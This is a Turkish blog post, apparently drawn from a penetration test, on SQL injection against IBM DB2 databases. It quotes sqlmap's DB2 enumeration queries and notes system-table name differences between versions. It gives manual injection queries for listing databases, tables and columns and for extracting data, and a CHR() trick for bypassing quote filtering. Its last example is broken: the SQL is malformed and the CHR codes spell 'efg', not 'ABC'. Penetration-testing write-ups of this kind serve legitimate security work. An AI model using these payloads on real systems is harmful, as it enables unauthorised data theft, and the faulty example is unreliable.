IBM DB2 SQL Injection Saldırıları

Merhaba

MsSQL, MySQL veya PostgreSQL gibi alışılmış veri tabanına sistemlerini kullanan uygulamalar üzerinde sql injection saldırıları gerçekleştirmek biraz kolaydır. Çünkü hemen hemen tüm veri tabanı sistemlerinin kendi içerisinde geri dönük destek verme mekanizmaları bulunmaktadır. Örneğin MySQL 5.X ailesinde tablo isimlerini tutan yapı information_schema’dır ve farklı versiyonlara yönelik değişiklik göstermemektedir.

Konu IBM DB2’ya gelince ise durum malesef biraz farklı. Bu yazının yazıldığı tarihte gerçekleştirdiğim bir penatrasyon testinde karşıma DB2 çıktı ve kendisiyle verdiğim savaş sonunda öğrendiğim bazı şeyler oldu. Yazının kalan kısmında karşılaşılan problemlere ve çözüm yöntemlerine değineceğim.

Ayrıca yazının kalan kısmına devam etmeden önce http://sqlinjectionwiki.com/Categories/7/ibmdb2-sql-injection-cheat-sheet/ adresine göz atmanızı öneririm.

IBM DB2 SysColumns VS Columns

DB2 diğer veri tabanı sistemlerinde olduğu gibi tablo ve kolon isimlerini tuttuğu ve sysibm adını verdiği bir veri tabanı mevcut. Tıpkı tüm veri tabanı sistemlerinde olduğu gibi sql injection tespitinden sonra mevcut tablo ve kolon isimleri tespit edilmelidir. Bu noktada yaşanan problem ise otomatize araçların setlist’lerinde ki sorguların hedef sisteminiz ile uyum gösterediği anların varlığı.

Örneğin sqlmap’in DB2 için hazırladığı sql injection setlist’lerine göz atalım

<columns>
            <inband query="SELECT name,RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
            <blind query="SELECT name FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" query2="SELECT RTRIM(coltype)||CHR(40)||RTRIM(CAST(length AS CHAR(254)))||CHR(41) FROM sysibm.syscolumns WHERE tbname='%s' AND name='%s' AND tbcreator='%s'" count="SELECT COUNT(name) FROM sysibm.syscolumns WHERE tbname='%s' AND tbcreator='%s'" condition="name"/>
</columns>

Gördüğünüz üzere kolon isimlerinin sysibm.syscolumns tablosundan almaktadır. Bu tür sistem tablolarının isimleri malesef DB2’nin versiyonuna göre değişiklik göstermekte. Ben yaptığım testler sonucunda farklılıkların şu şekilde olduğunu tespit ettim.

sysibm.systables  -> sysibm.tables
sysibm.syscolumns -> sysibm.columns

Bu noktadan sonra sqlmap gibi otomatize araçların devre dışı kaldığını veya oturup sqlmap’in queries.xml dosyasında ciddi güncelleştirmeler yapmak zorunda olduğumu fark etmişsinizdir. Ben XML ile uğraşmak yerine manuel başladığım test manuel devam etme kararı aldım ve database, tablo ve kolon isimlerini alabileceğim sorguları şu şekilde oluşturdum.

Database isimleri

SELECT distinct(dbname) FROM sysibm.tables

Tablo isimleri

Bir önceki sorgudan elde edilen database isimlerinden birici tercih edilir.

SELECT table_name FROM sysibm.tables WHERE dbname IN ('DATABASE_ISMI')--

Kolon isimleri

Bir önceki sorgudan elde edilen tablo isimlerinden birici tercih edilir.

SELECT name FROM sysibm.columns WHERE table_name IN ('TABLO_ISMI')--

 Veri Çekme

SELECT CONCAT(KOLON1,KOLON2) FROM DATABASE_ISMI.TABLO_ISMI

Sorgulardaki Where clause kısımlarında IN seçmenizi öneririm.  Eğer tek tırnak gibi karakterler ile problem yaşıyorsanızda string to chr ile aşağıdaki şekilde bu problemi aşabilirsiniz.

// HEDEFLENEN SORGU
SELECT * FROM isim = 'ABC'

// MODIFIKASYON
SELECT * FROM isim IN (CHR(101)||CHR(102)||CHR(103))

DB2 için || işareti string birleştirme görevi görmektedir.